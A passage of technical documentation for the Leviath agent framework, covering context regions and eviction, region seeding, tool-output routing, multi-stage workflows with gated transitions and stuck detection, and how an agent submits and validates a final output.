(oldest, first out)"] F2["early turns"] F3["a large file read"] F4["recent turns"] end FLAT -->|"window fills"| LOST["The task falls off the end"] subgraph REG["Named regions"] direction TB R1["task, pinned"] R2["codebase, compacting"] R3["conversation, sliding"] end REG -->|"window fills"| KEPT["Only the region that filled sheds;
the task is untouched"] ``` ## What that looks like A typical coding agent might divide its window like this: | Region | Share | Kind | Holds | When it fills | |---|---|---|---|---| | `task` | 12% | `pinned` | The task and the ground rules | Nothing. Pinned regions are never dropped | | `codebase` | 20% | `compacting` | Files the agent has read | Older content is summarized, not lost | | `conversation` | 33% | `sliding_window` | The back-and-forth | Oldest turns drop off | | `history` | 15% | `compact_history` | Summaries carried from earlier stages | Rolls forward, compacted | | headroom | 20% | | Left free for the reply | | The point is the last column. In a flat message list, all five of those compete for the same space and the loser is whatever happens to be oldest. Here, a file dump can fill `codebase` completely and `task` is still exactly where it was. ```toml [context.regions] task = { kind = "pinned", budget = "12%", seed = "task_input" } codebase = { kind = "compacting", budget = "20%" } conversation = { kind = "sliding_window", budget = "33%", max_items = 20 } history = { kind = "compact_history", budget = "15%", source_region = "codebase" } ``` ## The nine region kinds | Kind | Behavior | |---|---| | `temporary` | The **default** when `kind` is omitted; recent entries, trimmed first under budget pressure. | | `pinned` | Never evicted (architecture, the task). | | `sliding_window` | Keeps the most recent entries; the conversation lives here. | | `compacting` | Summarizes instead of evicting: file reads and tool results. | | `compact_history` | Carries summaries from earlier stages forward, so a later stage skips the raw content. `source_region` names what it summarizes. | | `clearable` | Wiped in one shot when space is needed (scratch). | | `hashmap` | Keyed entries (alias `hash_map`); a write to a key replaces it. | | `checklist` | A task list whose entries carry state. Written through `todo_add` / `todo_done` / `todo_note`, never evicted, and rendered open-items-first. | | `custom` | Behavior defined by a Rhai script (see [Rhai regions](/docs/rhai-regions)). | An unrecognized `kind` is a hard parse error, not a silently ignored region. So is an unrecognized `strategy`: `strategy = "per-item"` with a hyphen is refused, rather than leaving the region to evict one entry at a time as if the line had not been written. ### Per-kind keys Most kinds take extra keys that only make sense for them: ```toml [context.regions.conversation] kind = "sliding_window" max_items = 20 # default 10 strategy = "per_item" # per_item (default) | bulk | compact overflow = 10 # with strategy = "bulk": how many to drop at once compact_count = 10 # with strategy = "compact": how many to fold into a summary [context.regions.codebase] kind = "compacting" budget = "20%" compact_at = "80%" # compact once this full, see below threshold_tokens = 30000 # a hard token ceiling, applied as well as compact_at [context.regions.history] kind = "compact_history" source_region = "codebase" # which region's summaries roll forward [context.regions.findings] kind = "hashmap" max_entries = 50 # a write to an existing key replaces it [context.regions.brain] kind = "custom" script = "context_hooks/brain.rhai" # relative to the agent directory persistent = false # true behaves pinned-like: never evicted ``` ### Tracking work with a checklist A pinned region plus `context_append` gives persistence, which is the easy half. What it does not give is *state*: "compute the fee table" and "~~compute the fee table~~ done" are two different strings, so nothing can count what is left and no gate can ask. ```toml [context.regions] todos = { kind = "checklist", budget = "3%" } ``` The agent writes to it through tools rather than free text, so the state cannot drift from what the model believes it wrote: | Tool | Effect | |---|---| | `todo_add(region, item)` | Adds an open item, returns its id | | `todo_done(region, id)` | Ticks it off | | `todo_note(region, id, note)` | Records a note **without** closing it | It renders as one stable block with open items first. Sitting in the system section is what keeps it in front of the model every turn, as instruction rather than history. An id is never reused, so a `todo_done` cannot land on a different item than the one it names. An id that matches nothing is an error the model can read rather than a silent no-op. The gate is the part that makes any of this enforceable: ```toml [stages.implement.transitions.review] gate = { require_no_open_items = "todos", message = "Finish or explicitly drop the open items first." } ``` The nudge names the items that are still open. It shares the same `max_attempts` budget as every other gate, so it cannot wedge a run. A gate naming a region no stage declares, or a region that is not a `checklist`, is refused by `lev validate`. At runtime such a gate could only ever count zero and pass on the first attempt, which looks exactly like a stage that finished its work. ### Keys every region accepts | Key | Default | Meaning | |---|---|---| | `budget` | unset | A share of the model's context window, written as `"35%"` | | `max_tokens` | `5000` | A token ceiling. See below for how it interacts with `budget` | | `min_tokens` | unset | A floor for a percentage budget, so the region stays usable on a small model | | `seed` | unset | What the region starts with. See below | | `required` | `false` | The stage re-runs rather than moving on while this region is empty | | `summarizable` | `true` | Set false to keep an edge `transform = "compact"` from paraphrasing this region. See [transforms](/docs/stages#carrying-context-across-an-edge) | | `admission` | `"evict"` | What happens when a write does not fit. `"reject"` refuses it instead of dropping something. See [letting the agent decide what to forget](#letting-the-agent-decide-what-to-forget) | | `required_message` | generated | What the model is told when a required region is empty. Supports `{region}` | **Resolved budget** is the phrase used for the number a region actually gets, once the percentage has been worked out against the model in front of it. A `budget = "20%"` region on a 200k-token model resolves to 40,000 tokens. `compact_at = "80%"` then means 80% of *that*, so 32,000. `max_tokens` behaves differently depending on whether `budget` is set. On its own it is a plain ceiling. Alongside `budget`, it caps the resolved percentage, so the region gets whichever is smaller. A malformed `budget` or `compact_at` string is a hard error at load, so `lev validate` catches it instead of a run failing later. ### Seeding a region `seed` fills a region before the first inference: ```toml [context.regions] task = { kind = "pinned", seed = "task_input" } standards = { kind = "pinned", seed = "input" } readme = { kind = "pinned", seed = { files = ["README.md"] } } layout = { kind = "temporary", seed = { glob = "src/**/*.rs" } } rules = { kind = "pinned", seed = { literal = "Never edit generated files." } } env = { kind = "pinned", seed = { command = "git log --oneline -20" } } computed = { kind = "temporary", seed = { rhai = "seeds/plan.rhai" } } inherited = { kind = "pinned", seed = { caller = "brief" } } ``` | Form | Fills from | |---|---| | `"task_input"` | The caller's `task` key, which is what `lev run --task` sets | | `"input"` | A caller key named after this region, so `--` on the CLI reaches it | | `""` | The caller key of that name | | `{ files = [...] }` | The contents of those files | | `{ glob = "..." }` | Every file matching the pattern | | `{ literal = "..." }` | Fixed text | | `{ command = "..." }` | The stdout of a shell command | | `{ rhai = "..." }` | The return value of a Rhai script | | `{ caller = "..." }` | A named value passed by a parent agent | A region literally named `task` gets `seed = "task_input"` implicitly, so older blueprints keep working. A `seed` that matches none of the forms above is ignored and the region starts empty. `lev validate` reports that as `region-seed-not-understood`, which is worth reading before wondering why a region came out blank. The table keys are exactly the ones in the left column, so `{ caller_input = "..." }` is a typo for `{ caller = "..." }` and seeds nothing. A blueprint that seeds no region from the task refuses a task outright rather than running without it. > [!WARNING] > A `command` seed runs at spawn, before the first inference and therefore before any tool-approval > prompt. Because there is nobody to ask in the moment, it must also be covered by > [`[safe_commands]`](/docs/interaction#what-runs-without-asking), or it does not run at all. > `lev validate` prints every command seed in a blueprint, `lev run --no-seed-commands` refuses > them for one run, and `[security] allow_seed_commands = false` refuses them machine-wide. Seeds > run once: a daemon restart does not replay them. #### Seed paths stay in the working directory `files`, `glob` and `rhai` seeds resolve against the run's working directory and may not leave it. A path that does is refused at spawn, before anything is read. The rule is the one `read_file` follows, for the same reason: the *blueprint* chose this path, not you. Seeded contents land in a region the model reads on its first turn, so a path that escaped would put whatever it named in front of the model without anything having asked you. To read outside on purpose, declare it under `[read_paths]` and grant it in your config. That is already the mechanism for "this agent is meant to read there and I agreed", and seeding answers to it rather than having a second one of its own. A glob is checked per match, since `../*.toml` cannot be judged before it is expanded. Scripts are stricter and have no `[read_paths]` escape: a stage hook, a custom-region script and an output validator must all live inside the blueprint's own directory. A script is code the agent ships, and there is no such thing as loading your logic from somewhere else on purpose. ## Where a stage's own instructions live A stage's `system_prompt` is pinned context, which is why it reads as instruction rather than history. It goes into a region like everything else. By default that region is *whichever pinned region you declared first*. That costs three things: its tokens are charged to that region's name in the [stage ledger](/docs/cli#lev-stages-run-id), you cannot size or scope it, and it lands wherever that region sits in the cacheable prefix. Name a region for it and all three go away: ```toml [context.regions] stage_instructions = { kind = "pinned", budget = "3%" } ``` The runtime writes the entering stage's prompt there, replacing the previous stage's. It is always assembled **after** every other pinned block, however you declared it, so the content in front of it stays byte-identical when the stage changes. That content is what a provider's prompt cache matches on. Instructions sitting in front of the shared prefix rewrite its head on every transition, which invalidates everything behind them. Measured on a two-stage agent whose prompts are about 63 tokens each: | Region | Without the declaration | With it | |---|---|---| | `task` | 65 | 2 | | `stage_instructions` | not present | 63 | The 65 is the whole problem in one number: two tokens of task and sixty-three of somebody else's instructions, under a heading that says `task`. A blueprint that declares no such region keeps the old behaviour exactly, so this costs nothing to ignore. The region is never hidden by a stage that omits it from its own `[context.regions]`: it holds the instructions of the stage being entered, so hiding it would drop that stage's prompt. ## Eviction is deterministic When a region crosses its threshold, the runtime acts by the region's *kind*, never by pushing out whichever message is oldest across the whole window: ```mermaid flowchart TD W["New entry routed to a region"] --> C{"Region over
threshold?"} C -->|no| K["Keep"] C -->|yes| T{"Region kind?"} T -->|pinned| K2["Keep, never evicted"] T -->|sliding_window| D["Drop oldest entries"] T -->|compacting / compact_history| S["Summarize into a compact form"] T -->|clearable / temporary| CL["Trimmed or cleared under budget pressure"] ``` ## Letting the agent decide what to forget Everything above is reactive: a region crosses a threshold and the runtime makes room. That is the right default, and it has a blind spot. The runtime knows sizes; only the agent knows when it is *done* with something. A gather stage that fetches a spec, pulls out the three paragraphs that matter and writes them to a curated region has no further use for the raw text - but the raw text sits there until pressure happens to push it out, or, with a generous budget, until the run ends. An agent can release an entry the moment it is spent: ``` context_delete { region: "sources", key: "rfc-9110" } context_delete { region: "sources", index: 2 } context_delete { region: "sources", oldest: 3 } ``` Name the entry by `key` if it was written with one, by `index` as shown in `context_list`, or ask for the oldest few. Releasing returns the tokens immediately. Giving an entry a key when you write it is what makes the first form possible: ``` context_append { region: "sources", key: "rfc-9110", content: "" } ``` ### Making the agent choose By default a full region evicts, and the agent is never told. For a region holding material the agent curated, that is the wrong trade: whichever write arrives when the region is full silently decides what was least important. `admission = "reject"` hands that decision back: ```toml [context.regions] sources = { kind = "temporary", budget = "30%", admission = "reject" } ``` Now a write that does not fit fails, and the agent is told the region is full and to release something first. Nothing already in the region is lost to a write the agent did not know would displace it. A region set this way is also exempt from the window-level eviction cascade - otherwise `reject` would only change which code did the silent dropping. This turns memory management into an explicit decision: *you must choose what to forget before you can read more*. It is a better failure mode than a silent omission the agent never learns about, and it is a genuinely different memory discipline from mechanical eviction - worth reaching for when the region holds findings rather than transcript. ## Routing tool output Tool output is **routed** to a region, so exploration lands in a persistent codebase region rather than scratch: ```toml [stages.analyze.tool_routing] default_region = "scratch" max_result_tokens = 4000 # ceiling for any tool without one of its own [stages.analyze.tool_routing.overrides] read_file = "codebase" # A stage that both greps and reads files needs two numbers, not one: a cap # sized for the file read lets every grep through untouched, and one sized for # the grep truncates every file. [stages.analyze.tool_routing.max_result_tokens_per_tool] read_file = 20000 ``` Both tables are keyed by tool name, and an alias matches the tool it aliases. Writing `bash` covers the `shell` the model actually calls. A stage may only route into a region it can see. Routing a result into a region the stage left out of its own `[context.regions]` writes it where that stage cannot read it back, so `lev validate` refuses the blueprint and says which region to add. The four the runtime always carries are always valid targets: `conversation`, `tool_results`, `final_output` and `stage_instructions`. An override entry can also carry both answers at once, which is usually what you mean when a tool needs its own region *and* its own ceiling: ```toml [stages.analyze.tool_routing.overrides] read_file = { region = "codebase", max_result_tokens = 20000 } grep = "scratch" # just route it ``` Either key on its own is fine: `{ region = "codebase" }` routes without capping, and `{ max_result_tokens = 500 }` caps without moving the result out of `default_region`. A value that is neither a region name nor one of these tables is an error rather than a line that is quietly skipped. `read_file` also has a hard byte cap of its own, independent of any of this, and says so in the result when it applies. Without one, a large file went into its region whole and was either truncated or dropped as `[result omitted]` depending on how full the region already was. That is a cliff rather than a limit. ## Budgets travel across models This is why budgets are written as percentages. A region sized at 20% of the window is 20% whether the model has 32k or 200k tokens, so the same blueprint keeps its shape when you switch models. Fixed token counts would need rewriting every time. > [!NOTE] > Percentages are ceilings, and they may add up to more than 100%. That is deliberate: regions > rarely fill at the same time, so reserving exact shares would waste most of the window. Use > `max_tokens` and `threshold_tokens` when you need a limit that really is hard. ======================================================================== # Multi-stage workflows Source: https://leviath.dev/docs/stable/stages # Multi-stage workflows Asking one model, with one prompt and one set of tools, to plan a change and write it and review it usually goes badly. The tools that help it write are a distraction while it is planning, and by review time its context is full of the work it is supposed to be judging. So a Leviath agent is split into **stages**. Each stage is one job, with its own model, its own tools, and its own context. When a stage is done, an edge decides which stage runs next. ## Graph Here is a small workflow with all four kinds of arrow in it: ```mermaid flowchart LR analyze -->|hint: plan ready| implement implement -->|hint: ready for review| review implement -->|condition: stuck| reassess review -->|condition: error| implement reassess -->|hint| implement review --> done["done"] ``` And the blueprint that produces it. This is the whole shape, so you can see how the pieces fit before meeting them one at a time: ```toml [stages.analyze.transitions.implement] hint = "The plan is ready" [stages.implement.transitions.review] hint = "Implementation complete, ready for review" [stages.implement.transitions.reassess] condition = "stuck" [stages.review.transitions.implement] condition = "error" [stages.reassess.transitions.implement] hint = "Replanned, try again" ``` Check any graph before you run it: ```bash lev validate . # verifies the graph is well-formed and reachable ``` ## Transitions Every edge is one of two kinds: - A **hint** edge is chosen by the agent. When it decides the stage's goal is met, it picks the edge whose hint best matches what it just did. - A **conditional** edge fires on its own, on a signal from the runtime rather than the agent's choice. The signals are `error`, `stuck`, `max_iterations` (the stage hit its iteration cap), `dead_end` (the graph would otherwise strand here), and `always` (an unconditional edge). ```toml [stages.implement.transitions.review] hint = "Implementation complete, ready for review" [stages.implement.transitions.reassess] condition = "stuck" # a runtime signal, not the agent's choice ``` An edge with a `hint` and no `condition` is routed by the model, exactly as though you had written `condition = "llm_choice"`. The full set of values is `always`, `llm_choice`, `error`, `max_iterations`, `stuck`, and `dead_end`. Anything else is a parse error rather than an edge that quietly does nothing, so a typo fails at `lev validate` instead of at 2am. ### The escape that is not also a shortcut `condition = "dead_end"` fires in one situation: the stage finished, and every normal edge's target has spent its `max_revisits`. Without it the run errors out, and everything it established is discarded: a profiled dataset, a plan, two rounds of critique. ```toml [stages.plan.transitions.review] hint = "Plan is ready for review" # Taken only when `review` is out of revisits and there is nowhere legal to go. [stages.plan.transitions.answer] condition = "dead_end" ``` Why is this its own condition, rather than "add an ordinary edge to the output stage"? An ordinary edge is offered to the model at the end of **every** visit, so it becomes a shortcut past the rest of the pipeline. Measured on four agents, that shortcut was taken in 10 of 24 runs of one and 21 of 36 of another, computing nothing on the way. A `dead_end` edge is invisible to the model's choice and reachable only when the alternative is dying. `error` edges are also consulted on this path, so a stage that already has one is covered. When both are declared, `dead_end` wins: an `error` edge is carrying provider failures too and may want to go somewhere else. > [!NOTE] > `condition = "max_iterations"` does **not** cover this. It fires when a stage burns its iteration > budget, which is a different event. On the stranding path it is never consulted. `lev validate` > reflects that: a `max_iterations` edge does not silence `dead-end-possible`. ### Stage keys that shape routing | Key | Default | Effect | |---|---|---| | `max_revisits` | unlimited | How many times this stage may be re-entered, not counting the first visit. See below | | `transition_prompt` | built-in | Replaces the prompt used to ask the model which edge to take | | `allow_complete` | `false` | Offers the model an explicit `DONE` answer that ends the run, rather than forcing it down the one available edge | | `requires_children` | `false` | Holds the stage until every sub-agent it spawned has finished | | `allow_as_worker` | `false` | Lets this stage be the target of a [fan-out](/docs/sub-agents) | | `accepts_messages` | `true` | Whether `lev msg` reaches this stage. See [Human-in-the-loop](/docs/interaction) | | `allow_blocking_tools` | `false` | Marks an autonomous stage as deliberately offering the tools that wait on a person | Three of those need a sentence more. `max_revisits` is also read when the runtime builds the list of edges to offer. An edge pointing at a stage that is out of budget is dropped from the choices. `allow_as_worker` is off by default so that you can only fan out into a stage that was designed for it, rather than into any stage that happens to look suitable. `allow_blocking_tools` grants nothing and changes no behaviour. An autonomous stage that calls a human-in-the-loop tool waits until somebody answers, and on an unattended run that is forever, which is why `lev validate` warns about it. Setting this key tells the linter you meant it, so it stops reporting a deliberate choice as an oversight. Use it when the stage is driven from the dashboard, or by somebody watching. ### Every stage should name its own model `model` is per stage. There is no agent-level `[model]` block. Writing one parses fine and is then read by nothing, so your stages carry on using their own defaults with no sign that the block was ignored. A stage that omits `model` does not fail either. It runs on whichever provider your `[providers]` config makes the default. That is rarely what the author intended, and you will not find out until the run picks the wrong model. `lev validate` reports both cases. ### Carrying context across an edge Each edge decides what the next stage inherits, using `transform`: ```toml [stages.implement.transitions.review] hint = "Ready for review" transform = "compact" # direct | clear | compact | summarize | custom ``` - `direct` is the default and carries everything as-is. - `clear` drops stage-specific regions and keeps pinned ones. - `compact`, and its alias `summarize`, sends the stage's content through a summarization pass before the next stage starts. **It summarizes every region that is not pinned**, not only the transcript. That includes the ones holding your results. A region whose content does not survive a rewrite should say so: ```toml [context.regions] results = { kind = "sliding_window", budget = "20%", summarizable = false } ``` That protects it wherever it is used, rather than at each of the edges that might touch it, and it wins over an explicit `compact` list. `lev validate` warns when a bare `compact` edge would summarize a region declared `required`, which is the closest thing a blueprint has to "this is a deliverable". - `custom` takes a `transform_config` that names regions one at a time: ```toml [stages.implement.transitions.review] transform = "custom" [stages.implement.transitions.review.transform_config] carry = ["system", "files"] # pass through untouched compact = ["conversation"] # summarize into the next stage clear = ["scratch"] # drop entirely compact_prompt = "Summarize what changed and why" ``` A region declared `pinned` is never touched by an edge transform. That is why the error and stuck reports described below are worth pinning: you want them to survive the edge that carries them. ### Gating an edge on actual work A stage that was meant to change files can announce it is finished without having changed any. An edge `gate` refuses the transition until the stage has something to show: ```toml [stages.implement.transitions.review] hint = "Implementation complete, ready for review" gate = { require_modifications = true, max_attempts = 3 } ``` | Field | Default | Meaning | |---|---|---| | `require_modifications` | `false` | Require at least one successful file-modifying tool call in the stage being left | | `require_regions` | `[]` | Regions that must **all** hold content. ANDed with every other condition here | | `require_region_updated` | unset | Require that a named region **changed** during this stage, rather than only holding content. See below | | `require_no_open_items` | unset | Name a [checklist region](/docs/context) that must have no open items before this edge is taken | | `message` | generated | The nudge shown when the gate blocks | | `region` | unset | An **alternative** way to satisfy `require_modifications`: the gate also passes if this region is non-empty. See below | | `tools` | `[]` | Extra tool names to count as modifying, beyond `write_file` and `edit_file` | ### `region` is an alternative, `require_regions` is a requirement These two read alike and do opposite things. `region` is one of several ways to satisfy `require_modifications`, alongside "a file was modified" and "a modification was denied by policy". It exists because per-stage counters do not survive a daemon restart and a region does, so it is the durable stand-in. It is an **or**: ```toml # Passes as soon as the stage writes any file, even with `plan` still empty. gate = { require_modifications = true, region = "plan" } ``` `require_regions` is the conjunction. Every region named must hold content, whatever else the gate is satisfied by: ```toml # Does not leave until `plan` has been written, full stop. gate = { require_regions = ["plan"] } # And this one wants both: files changed AND the plan written. gate = { require_modifications = true, require_regions = ["plan"] } ``` Like every gate it shares the one `max_attempts` budget, so it re-runs the stage a bounded number of times and then lets the edge through with a warning rather than stranding the run. When that happens the run records it: `flags.gates_forced` in `meta.json` counts the transitions that went through unsatisfied, and `flags.required_regions_abandoned` names any `required = true` region a stage gave up on. A run that produced its artifact and one that was asked twice and moved on both finish `complete`, and those two fields are how you tell them apart. ### Requiring a revision, not a repetition Every other gate asks whether something *exists*, which a stage sent back to redo its work can satisfy by re-emitting what it already wrote. On a `review -> plan` back-edge that means a reviewer's rejection can be answered with the same plan, and the loop spins until the stage runs out of revisits. ```toml [stages.plan.transitions.compute] gate = { require_region_updated = "plan", message = "The check rejected this plan. Change it before computing again." } ``` The region's content is hashed when the stage is entered and compared when it tries to leave, so "changed" means changed by *this* pass. It shares the same `max_attempts` budget as every other gate: a gate that could hold a stage forever would strand the run, so after the budget the edge is taken with a warning. A gate naming a region no stage declares is refused by `lev validate`. At runtime such a gate would pass rather than block, since no amount of work could satisfy it. A typo there would read as a gate that is never reached. | `max_attempts` | `3` | How many times the stage re-runs before the gate gives up and lets the transition through with a warning | Per-stage tool counters reset when a stage is entered, and they are not restored when a run resumes after a daemon restart. Context regions are. So pointing `region` at whatever your write tools are routed into keeps a resumed run honest. Set `tools` when an agent's writes go through MCP or [script tools](/docs/rhai-tools) instead of the built-ins. ### What counts as output Four things count as an agent having produced something. A successful `write_file`, a successful `edit_file`, a successful call to a tool you named in a gate's `tools` list, or a submitted [final output](/docs/outputs). Nothing else counts, and `shell` in particular does not. An agent can edit a file with `sed -i`, and Leviath has no way to see that it happened. Both an edge gate and the run's own `empty_output` verdict use that same rule. They differ only in scope: the gate asks about one stage, the verdict asks about the whole run. The verdict is only ever applied to agents that could plausibly write files. If no stage of a blueprint advertises a file-modifying tool, the run is never marked as having produced nothing. A router that delegates and a researcher whose answer is its text have no file changes to be missing, so flagging them would be wrong. Such an agent can also settle the question outright by submitting a [final output](/docs/outputs). The side effect is that an agent writing through MCP looks the same way, so name that tool in a gate's `tools` list to have it counted. `lev ps` marks such a run `complete (no output)`, and the flag travels with it into `meta.json`, the completion webhook, and the `leviath.runs.total` metric. ## Stuck detection A `stuck` edge gets a stage out of a loop it is not going to escape on its own. The important part is that stuckness is **measured, not self-reported**. An agent cannot keep insisting it is nearly done: ```toml [stages.implement.transitions.reassess] condition = "stuck" stuck_after_iterations = 20 # inferences in this stage stuck_after_same_file_edits = 5 # write/edit calls against one path stuck_after_tool_calls = 100 stuck_after_minutes = 30 ``` Use any subset you like. The first threshold to trip fires the edge. > [!TIP] > When a `stuck` or `error` edge fires, the runtime writes *why* into the target stage's > [context](/docs/context), so the recovery stage starts out knowing what went wrong instead of > working it out again. The same happens when a stage hits its iteration cap: whatever runs next is > told the work was cut off rather than finished. > > Stuck reasons go to a `stuck_report` region when the blueprint declares one. Error and > iteration-cap notes prefer an `error_report` region. Declare both `pinned`, with a small budget > like 2000 tokens, so the note survives the edge transform that carries it. Without them, the > notes land in `conversation`. ## Nudging When a stage's model replies with plain text before making a single tool call, the runtime normally adds a `[System]` nudge saying "You have tools available" and re-runs the stage, up to three times. That is the right reflex for a coding stage that has stalled. It is the wrong one for a stage whose deliverable *is* text. A planner told to use its tools goes looking for a write tool it was never given. So each stage can say what should happen instead: ```toml [agent.nudge] # agent-wide default for every stage max = 2 [stages.plan.nudge] enabled = false # this stage's deliverable is text, never nudge it [stages.implement.nudge] max = 2 text = "You have edit tools. Make the change described in {regions} rather than describing it again." ``` All three keys are optional and cascade independently. A stage block beats `[agent.nudge]`, which beats the `[nudge]` section of your `config.toml`, which falls back to the built-in defaults. This is a usability setting, not a permission, so a blueprint may raise `max` above your global setting as freely as it lowers it. The `text` can use `{stage}` for the stage's name and `{regions}` for the comma-separated names of the stage's required context regions. The same substitution works in a required region's `required_message`, where `{region}` names the region being asked for. One stage shape is already exempt with nothing configured: a stage with interaction points presents its text for review, so it is never nudged for producing exactly that text. Setting `enabled` explicitly at any level overrides this in either direction. ======================================================================== # Final outputs Source: https://leviath.dev/docs/stable/outputs # Final outputs An agent that finishes has usually learned something you want back. Without somewhere to put it, the only way to say anything is to write a file and hope you look there. Its logs record what it did, not what it concluded. So an agent can **submit a final output**: one deliberate answer, produced by a tool call, that every surface reports. The API returns it, `lev result` prints it, a parent agent receives it, and the completion webhook carries it. ```mermaid flowchart LR ST["The run's last stage"] -->|"submit_output"| ANS["One answer,
in the format you named"] ANS --> CHK{"Valid?"} CHK -->|no| BACK["Back to the agent
with what was wrong"] BACK --> ST CHK -->|yes| OUT["lev result · REST API
parent agent · webhook"] ``` ## The smallest version Add a stage with `mode = "output"`: ```toml [stages.review.transitions.summary] hint = "The work is done" [stages.summary] mode = "output" model = { models = [{ provider = "anthropic", model = "claude-sonnet-5" }] } description = "Say what changed" max_iterations = 8 system_prompt = """ Say what you changed, for whoever asked for it. List the files you touched and what each change does. Then anything they need to know before merging. """ [stages.summary.transitions] ``` Then read it back: ```bash lev result # the answer, with its run and stage lev result --raw # the answer alone, for a pipeline lev result --json # the answer plus its shape and stage ``` `mode = "output"` does three things for you. It grants the stage the `submit_output` tool, it requires the stage to call it, and it lets the run end there. ## Any shape you like You name a shape, and the model produces it. There is no fixed list: the label reaches the model, and nothing converts between formats. ```toml [stages.summary.output] format = "a2ui" instructions = "One card per finding, highest severity first." example = """ {"root": {"component": "Card", "children": [{"component": "Text"}]}} """ ``` `format` is a label. Markdown, XML, CSV, [a2ui](https://a2ui.org/), a media type, or a format you invent this afternoon all work the same way. The label, your instructions, and your example go into the `submit_output` tool description, and into the stage's system prompt too when `require_output` is set. The label travels with the answer so a reader can act on it. [The Lair](https://leviath.dev/lair), the browser console for Leviath, renders a2ui differently from markdown by matching on that string. ## Checking the answer Two different questions get asked about a submission, and it is worth keeping them apart. **Is it the format it claims to be?** Leviath checks this for free, for formats it can parse: | Label | Checked | |---|---| | `json`, `xml`, `yaml` (or `yml`), `csv`, `toml` | The answer parses | | anything else | Nothing | That catches the failure that actually happens. The model wraps its answer in a code fence, adds a sentence of preamble, or hands back JSON when you asked for XML. All three fail to parse, and the agent is told so and tries again. A label with no built-in is carried through unchecked. That is the honest outcome: `a2ui` and `text/vnd.acme+xml` are not formats this code knows, and pretending otherwise would mean owning every format's parser. **Does it have the shape you wanted?** That is a schema, and only happens if you write one. For JSON, use a JSON Schema. For anything else, ship a [Rhai validator](/docs/rhai-validators) with your agent. ## Asking for a shape at launch A blueprint declares a default. Whoever starts the run can ask for something else. Every bundled agent ends in an output stage, so this works on all of them out of the box. ### From the command line ```bash lev run reviewer --task "review the auth module" --diff @./change.patch \ --output-format xml \ --output-instructions "One element per issue, with a severity attribute." ``` `lev run` returns as soon as the run starts, printing the run id. Read the answer when it finishes: ```bash lev run reviewer --task "..." --output-format xml --json # prints {"run_id": "..."} lev ps # watch it lev result --raw > findings.xml # the XML, and nothing else ``` `--raw` matters for a pipeline. The default rendering adds a heading naming the run and stage, and `--json` wraps the answer in a record. Only `--raw` gives you the bytes the agent produced. Nothing converts between shapes. `--output-format xml` puts the label and your instructions in front of the model, and the model writes the XML. Ask for something the model cannot produce and you get its best attempt, not an error. ### From the API `POST /api/agents` takes the same three fields: ```bash curl -X POST http://localhost:3000/api/agents \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"blueprint":"reviewer","task":"review the auth module", "output_format":"xml", "output_instructions":"One element per issue."}' ``` Then `GET /api/agents/{id}/result`, where `final_output` carries the answer and its label. The completion webhook carries the same, so a receiver needs no second request. ### From a host over ACP The [Agent Client Protocol](/docs/agent-client-protocol) has no field for this, so the host asks when it starts the server: ```bash lev agent-client --agent reviewer --output-format xml \ --output-instructions "One element per issue." ``` The answer arrives as the turn's closing `agent_message_chunk`, set apart from the streamed output. ### From a parent agent A parent asks a child through `spawn_agent`, using `output_format` and `output_instructions`. The child's answer comes back from `wait_for_agent`. Three levels combine, and the later one wins per field. ```mermaid flowchart LR A["[agent.output]
the blueprint's default"] --> B["[stages.X.output]
this stage's override"] B --> C["the launch request
lev run, REST, spawn_agent"] C --> D["what the model is asked for"] ``` One rule breaks that pattern on purpose. If you name a `format` and supply no schema, any schema the blueprint declared is dropped. A check written for one shape says nothing about another. Supply your own schema alongside your format when you want the answer validated. ### It outranks the stage's prompt A stage's `system_prompt` often has opinions about presentation of its own. The bundled `log-analyzer` tells its summary stage to lead with the diagnosis and name the report file, which is good default behaviour and directly at odds with `--output-instructions "reply with only the integer"`. Once the three levels above have combined, the winning spec is stated to the model as the one that governs how the answer is presented. The stage prompt yields to it wherever the two disagree. So a caller who passes `--output-format` or `--output-instructions` does not have to know what the blueprint's prompt says. A blueprint author, in turn, does not have to strip presentation guidance out of a prompt to leave room for callers who may never pass anything. The claim is scoped to presentation: length, structure, what to lead with. It does not tell the model to disregard what the stage prompt asked it to *do*. ## Checking the shape, with a JSON Schema ```toml [stages.summary.output] format = "json" [stages.summary.output.schema] type = "object" required = ["summary", "files_changed"] [stages.summary.output.schema.properties] summary = { type = "string" } files_changed = { type = "array", items = { type = "string" } } ``` A submission that fails goes back to the agent as an error, and it tries again. Nothing is recorded until one passes, so a bad correction never replaces a good answer. A submission is checked for well-formedness first, so "this is not even JSON" comes back before a list of missing properties. That is the more useful thing to hear. ## Requiring one `require_output` makes a stage produce an answer before it moves on. `mode = "output"` sets it for you. Set it by hand on any other stage that owes a deliverable. ```mermaid flowchart LR S["stage finishes"] --> R{"owes an output
and gave none?"} R -->|no| T["transition"] R -->|yes| C{"attempts left?"} C -->|yes| N["nudge, then re-run the stage"] N --> S C -->|no| W["warn, set output_forced, carry on"] W --> T ``` A missing output never strands a run. The stage is nudged and re-run a few times, bounded by its `max_revisits`. After that the run finishes anyway and records `output_forced` in its flags, so you can tell a missing answer from an answer nobody asked for. Give the stage enough `max_iterations` to spend that budget. Each nudge costs one iteration, so a stage that runs out of iterations first ends on its `max_iterations` path instead. That path takes precedence over the nudge, and the run records both flags, `max_iterations_hit` and `output_forced`, so the outcome stays honest about what was required. ## What each surface returns | Surface | Where the answer appears | |---|---| | `lev result ` | The whole answer, and the files it named. `--raw` for pipelines | | `lev ps --json` | `has_final_output` only. Fetch the answer itself with `lev result` | | `GET /api/agents/{id}/result` | `final_output`, beside the existing `output` log tail | | Completion webhook | `final_output`. The `result` field is the run's error, as it always was | | `wait_for_agent`, `check_agent` | The child's answer, with its status | | Fan-out merge stage | Each worker's answer, in the consolidated report | | Embed `AgentEvent::Completed` | `final_output` on the event, plus `AgentWorld::result()` | ## Sub-agents and fan-out A parent that waits on a child receives what the child submitted. A fan-out merge stage receives what each worker submitted. A worker that submits nothing falls back to the text of its last message. That text is often empty, because a worker whose final action was a tool call has no trailing prose. Set `require_output` on a worker stage when the merge depends on its answer. ```toml [stages.fix_worker] mode = "autonomous" available_tools = ["read_file", "edit_file", "shell", "submit_output"] allow_as_worker = true require_output = true ``` Once you set it, a worker that finishes without an answer is counted as a **failed** worker, not as one that had nothing to say: ``` [fan_out results: 7 succeeded, 3 failed] ## worker w4 FAILED worker finished without the final output its stage requires ``` That distinction is the reason to set it. A worker that cannot satisfy its format or its validator keeps retrying until its iterations run out, and that ends the worker normally. Counted as a success it contributes an empty section, and the merge stage cannot tell "nothing to report" from "never reported", so it merges confidently over a hole. The default `on_worker_failure` is `continue`, so the merge still runs on whatever did arrive. It now knows what it is 